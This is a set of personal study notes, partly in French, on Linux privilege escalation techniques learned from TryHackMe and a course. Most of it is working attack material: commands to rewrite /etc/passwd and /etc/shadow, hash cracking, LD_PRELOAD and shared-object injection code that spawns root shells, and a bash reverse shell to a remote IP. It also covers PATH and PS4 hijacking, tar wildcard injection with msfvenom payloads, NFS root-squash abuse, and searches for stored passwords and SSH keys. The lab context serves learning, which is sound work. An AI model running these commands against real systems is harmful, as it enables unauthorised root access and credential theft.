Linux Privilege Escalation

Source: TryHackMe room CommonLinuxPrivEsc Date: 14 juin 2021

Sudo permissions

When logged with the user account, perform this command sudo -l

Check what the user can run as sudo without password NOPASSWD

Identify your groups

Are you member of the Docker or lxd group?

id

Weak permissions on sensitive files

To check for permissions:

ls -l /etc/shadow
ls -l /etc/passwd

How to exploit a writable /etc/shadow

If we have reading access to the shadow file , we can try to crack the hash of the root user.

If the file is writable, we can use this command to create a new password.

mkpasswd -m sha-512 newpassword

Then, replace the password hash of the root user in the /etc/shadow file.

To crack the hash

unshadow [path to passwd] [path to shadow] > tocrack.txt
.\hashcat.exe -a 0 -m 1800 tocrack.txt rockyou.txt -O

How to exploit a writable /etc/passwd

It's simple really, if we have a writable /etc/passwd file, we can write a new line entry according to the above formula and create a new user! We add the password hash of our choice, and set the UID, GID and shell to root. Allowing us to log in as our own root user!

To create a new password for a new user that we want to give root access.

openssl passwd [newpassword]

Append this line at the end of /etcp/passwd. The UID is 0, so we are root user.

newroot:wUQ0uaL7zkTf.:0:0:root:/root:/bin/bash

Or change the root password

sed -i "s/root:x/root:tP7HgzhGKMz0s/" /etc/passwd

Also, in some versions of Linux, we can simply delete the x after the first colons telling Linux to get the password from the /etc/shadow file. Deleting the x will make if the user has no password.

Misconfigured Binaries and GTFOBins

If you find a misconfigured binary during your enumeration, or when you check what binaries a user account you have access to can access, a good place to look up how to exploit them is GTFOBins. GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. It provides a really useful breakdown of how to exploit a misconfigured binary and is the first place you should look if you find one on a CTF or Pentest.

For example we can use this tool to find gtfobins on our system: https://github.com/mzfr/gtfo/blob/master/gtfobins.py

Then, for example we found journalctl, and then we have check with sudo -l that our user can run it as an admin. Then, we can try to perform this following to get the root systemadmin:

sudo journalctl
!/bin/sh

Source: https://gtfobins.github.io/gtfobins/journalctl/

Useful list of GTFO bin: https://gtfobins.github.io/

If a program does not have any shell Escape sequence, we can use a program to read root readable files

For example, we can get the hash of root password using apache2 which is running as root.

user@debian:/$ sudo apache2 -f /etc/shadow
Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$6$iBYXRBtM$rDVg4Kp0PBn8GCWz26bRK5Qn3Psutpg34PkuoI3k3SmAGzY2WThIM1Pyf3G18SPVfMVR0zkhGz98UdRXV/V///:17289:0:99999:7:::', 

PrivEsc with LD_PRELOAD

LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user's environment. LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

LD_Preload is an environement variable which can be set to the path of a shared object (.so) file. An .so file is a compiled library file. It stands for "Shared Object" and is analogous to a Windows DLL.

Technique Doing sudo -l, if env_keep+=LD_Preload is set then we can abuse of this priv esc technique.

This piece of code in C language will spawn a shell when loaded. Put this code in preload.c file.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

Then, compile preload.c to preload.so (a share object).

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

Run an allowed Sudo command listed with sudo -l and set the LD_PRELOAD environment variable to the full path of the preload.so path.

Example:

sudo LD_PRELOAD=/tmp/preload.so apache2

A said before, the preload.so will thus spawn a shell will loaded before any others library permitting us to have a root shell!

PrivEsc with LD_LIBRARY_PATH

LD_LIBRARY_PATH is an environment variable containing where shared libraries are searched for first.

To find which shared libraries are used by a program, use:

ldd /usr/sbin/[nameOfprogramm]
Example
ldd /usr/sbin/apache2 

In the code above, apache2 is a program that can be executed as root as we find doing sudo -l.

Doing sudo -l, we can check if the env_keep+=LD_LIBRARY_PATH is set. If yes, we can use this technique to perform privilege escalation.

Technique We can create a shared library with the same name as one used by a program, so for the program to load our own custom shared library containing a payload.

Then, in a library_path.c file, use this code below that will spawn a root shell when loaded.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

Then, we need to create a shared object with this file and name it with the SAME name as one of the library used by the programm.

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c

Run apache2 using sudo setting up the LD_LIBRARY_PATH environement variable to /tmp (the location of the shared object).

sudo LD_LIBRARY_PATH=/tmp apache2

Note: Sometime, it might not work. Then, rename the file with the name of another library used by the program. Or change the code of your .C file with the missing function or the requirement.

Crontab

Pour voir les con jobs scheduled cat /etc/crontab

Format of a Cronjob

  • # = ID

  • m = Minute

  • h = Hour

  • dom = Day of the month

  • mon = Month

  • dow = Day of the week

  • user = What user the command will run as

  • command = What command should be run

  • For Example,

  • # m h dom mon dow user command

  • 17 * 1 * * * root cd / && run-parts --report /etc/cron.hourly

How can we exploit crontab?

We know from our LinEnum scan, that the file autoscript.sh, on user4's Desktop is scheduled to run every five minutes. It is owned by root, meaning that it will run with root privileges, despite the fact that we can write to this file. The task then is to create a command that will return a shell and paste it in this file. When the file runs again in five minutes the shell will be running as root.

Check for job running as root and running regulary. The file need to be writable.

This code open a shell.

!/bin/bash

bash -i >& /dev/tcp/10.6.80.201/4444 0>&1

To check if some jobs are running with cron as root, a great tool is psypy64

Cronjob path environment variable

Doing cat /etc/cronjob, we see that the one of the PATH variable is not an absolute path. We can then, write one of the file that the cronjob will execute in our /home/user/ directory.

PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

The content of our overwrite.sh file. This create a new bash shell in /tmp directory with setUID permission setted.

#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash

Don't forget to make your new file executable

chmod +x overwrite.sh

Then, run the command to get a shell as root

/tmp/rootbash -p

Sudo and Sudoedit version

Sometime, we can find exploits associated with the version of Sudo or Sudoedit

Affected sudo version: Version : Sudo <1.8.28

EDB-ID: 11651

Sudo/SudoEdit 1.6.9p21/1.7.2p4

CVE-2015-5602

Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu)

Abusing SUID and GUID Binaries

To search for SUID/GUID files

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null 

find - Initiates the "find" command

  • / - Searches the whole file system

  • -perm - searches for files with specific permissions

  • -u=s - Any of the permission bits mode are set for the file. Symbolic modes are accepted in this form

  • -type f - Only search for files

  • 2>/dev/null - Suppresses errors.

We can search on Google, GitHub and ExploitDB to find an exploit for a specific program having a SUID/GUID file.

Good ressources on how to abuse systemctl binary file when SUID mode.

https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://materials.rangeforce.com/tutorial/2019/11/07/Linux-PrivEsc-SUID-Bit/#exploitation-with-file-writing https://gist.github.com/A1vinSmith/78786df7899a840ec43c5ddecb6a4740

Shared object injection (Ti3berius)

When a program is executed, it will try to load the shared objectsit requires. With the programe called strace, we can found shared object associated with a program. If it is possible to write to the location the program tries to open, we can create a shared object and spawn a root shell when it is loaded.

  1. When we search for SUID/GUID file, there may have some files that are vulnerable to shared oject injection.

For example the file /usr/local/bin/suid-so search for libraries before exiting.

The command below will show us which shared library is used by the program.

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

In the example, the executable tries to load the /home/user/.config/libcalc.so shared object that does not exist in our directory. This directory is writable by us, so we can create the .config directory for the libcalc.so file. ¸ The libcalc.so file will contain a script which will spawn a root shell when the suid.so program will run.

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
  setuid(0);
  system("/bin/bash -p");
}

Let's compile it and place it to the path where the program is looking for the shared object.

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c

When executing /usr/local/bin/suid-so we w'll get a root shell.

Good blog about shared object priv escalation: https://www.contextis.com/en/blog/linux-privilege-escalation-via-dynamically-linked-shared-object-library

SUID/SGID Executables - Environment variables

In the list of SUID/SGID files, we can try to find a program that call another program refering to it without an absolute path. For this, we can use the strings command.

strings /usr/local/bin/suid-env

One line ("service apache2 start") suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.

We can then compile a script containing a code spawning a shell. Then call it with the same name of the service that is being call by the program.

gcc -o service /home/user/tools/suid/service.c

Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell:

PATH=.:$PATH 

/usr/local/bin/suid-env

SUID/SGID Executables - Abusing Shell Features 1

When, a SUID file is executing another executable and it use the absolute path of the executable, another solution exist.

We can check if a executable make a call to another function with strings, ltrace or strace.

strings /usr/local/bin/suid-env2

In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

Checking for the version of Bash installed use:

/bin/bash --version

For example, the program /usr/local/bin/suid-env2 is calling the /usr/sbin/service for starting another program, we can create a function called the same as this path and then export it.

In the bash command line write

function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service

Running the suid-env2 programm will get us with a root shell.

/usr/local/bin/suid-env2

SUID/SGID Executables - Abusing Shell Features 2

This will work only for bash version lower than 4.4

When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.

Run the /usr/local/bin/suid-env2 executable, which could be found listed in the SUID files, with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

Then this, should give us a root shell.

/tmp/rootbash -p

Exploiting PATH variable

For example, a binary named strange_binary has the SUID bitset and can be executed as root. When running the strings command against the binary we discovered that it makes use of the ps command in order to list all processes currently running on the target system. Since the full path of the ps binary is not specified, we can create our own ps malicious binary that will execute any arbitrary command and modify our PATH environment. This way when the strange_binary will get executed, it will execute our own malicious ps binary instead of the one that was intended to get executed.

Rewrite the PATH variable Creation of an imitation executable. The format for what we want to do is:

echo "[whatever command we want to run]" > [name of the executable we're imitating] 
Exemple: echo "/bin/bash">ls

Faire de notre fichier ls un excutable chmod +X ls

Now, we need to change the PATH variable, so that it points to the directory where we have our imitation "ls" stored! We do this using the command "export PATH=/tmp:$PATH"

Once you've finished the exploit, you can exit out of root and use to reset the PATH variable back to default, letting you use "ls" again!

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH

Good articles about using path variable to priv esc. https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

https://materials.rangeforce.com/tutorial/2019/11/07/Linux-PrivEsc-SUID-Bit/

Capabilities

On Linux, capabilities are a bit similar to SUID, but the way it works internally is different. Some binaries can have capabilities to run with high privileges and we can abuse of these capabilities to escalate our privileges.

Search for binaries with capabilities

getcap -r / 2>/dev/null

Pay attention that could have the +ep set such as python, tar or perl for example. Google to check how to abuse the capabilities.

Password & Keys - History file

Check in the history of the command to see if a password has been recorded in a history file. For example, if we misstype the password on the command line instead of into a password prompt, it may get recorded.

To consult the history

cat ~/.*history | less

Password & Keys - Password mining in files

Some config file of program may contain credentials or refer to another file containing credentials for authentication. Then, we can try these credentials against a privilege user.

Check for the word password recursively in the file system or only from our current location.

Variant of password term

password
password = 
password=
DB_PASS
DB_PASSWORD
passwords
pass
passwd
creds
credentials
crendential
grep -ir "password" .
grep -r "passw" . 2>/dev/null

# Neet syntax to show colors - Check from root directory
grep --color=auto -rnw '/' -ie "password" --color=always 2>/dev/null

Locate files with the name password

locate password | more

Directories to look for any juicy information

If Tomcat installed on the target system, check for the tomcat-users.xml file as it may contains passwords.

Password & Keys - ssh private key

Check for ssh private key and we can reuse it connecting to ssh if the service is enabled.

find / -name id_rsa 2>/dev/null
find / -name authorized_keys 2>/dev/null

Exploiting wildcards injection

The symbol to looking at is *, which means all characters

Example if we are in a specific directory and we run cat *, this will cat every files of the specific directory we are in. If we create a file with the name of a flag, it will execute the command instead of interpreting it as a file's name.

Check for tar command or rsync that may executed in cronjob or by another script as sudo.

See Skynet (THM room) write up for great example of exploiting this misconfiguration.

Very great explanation about wildcards technic and tar exploitation. https://www.youtube.com/watch?v=HXikLrFVIXc https://materials.rangeforce.com/tutorial/2019/11/08/Linux-PrivEsc-Wildcard/

Technique from Linux PrivEsc course Ti3erius

/usr/local/bin/compress.sh this file run in the cronjob every minutes.

comrpess.sh contains:

#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *

Use msfvenom on your Kali box to generate a reverse shell ELF binary. Update the LHOST IP address accordingly:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf

Transfer the shell.elf file to /home/user/ on the target machine. and make it executable.

chmod +x /home/user/shell.elf

Create these two files in /home/user:

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

When the tar command in the cron job runs, the wildcard (*) will expand to include these files. Since their filenames are valid tar command line options, tar will recognize them as such and treat them as command line options rather than filenames.

Set up a netcat listener on your attack box and wait for the reverse shell.

NFS shares

Description: In Linux NFS share are used to share document between users.Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user. If the NFS share as no root squashing enabled, we can abuse of that.

To check for NFS share config use:

cat /etc/exports

The output:

/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)

using root user on our kali machine, we can mount the share using

mkdir /tmp/nfs
mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs

On our Attack machine we can then create a payload which is a shell and then put it in our NFS share that we just mounted. Because of root squash is not enabled, the file could be executed as root.

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

chmod +xs /tmp/nfs/shell.elf

Then, on our target machine, we can execute the shell we just created to spawn a root shell.

/tmp/shell.elf

Kernel Exploits

Enumerate for your distro and kernel architecture.

uname -a
cat /etc/lsb-release

Check for potential kernel exploits:

  • Google the Kernel and distro

  • Use an automated tools (see Enumeration scripts section)

Great repository of precompiled binary and source code for well known Linux Kernel exploits.

Compilation: Always better to compile the source code of kernel exploit on the target system or a distro/kernel version that is similar.

Last updated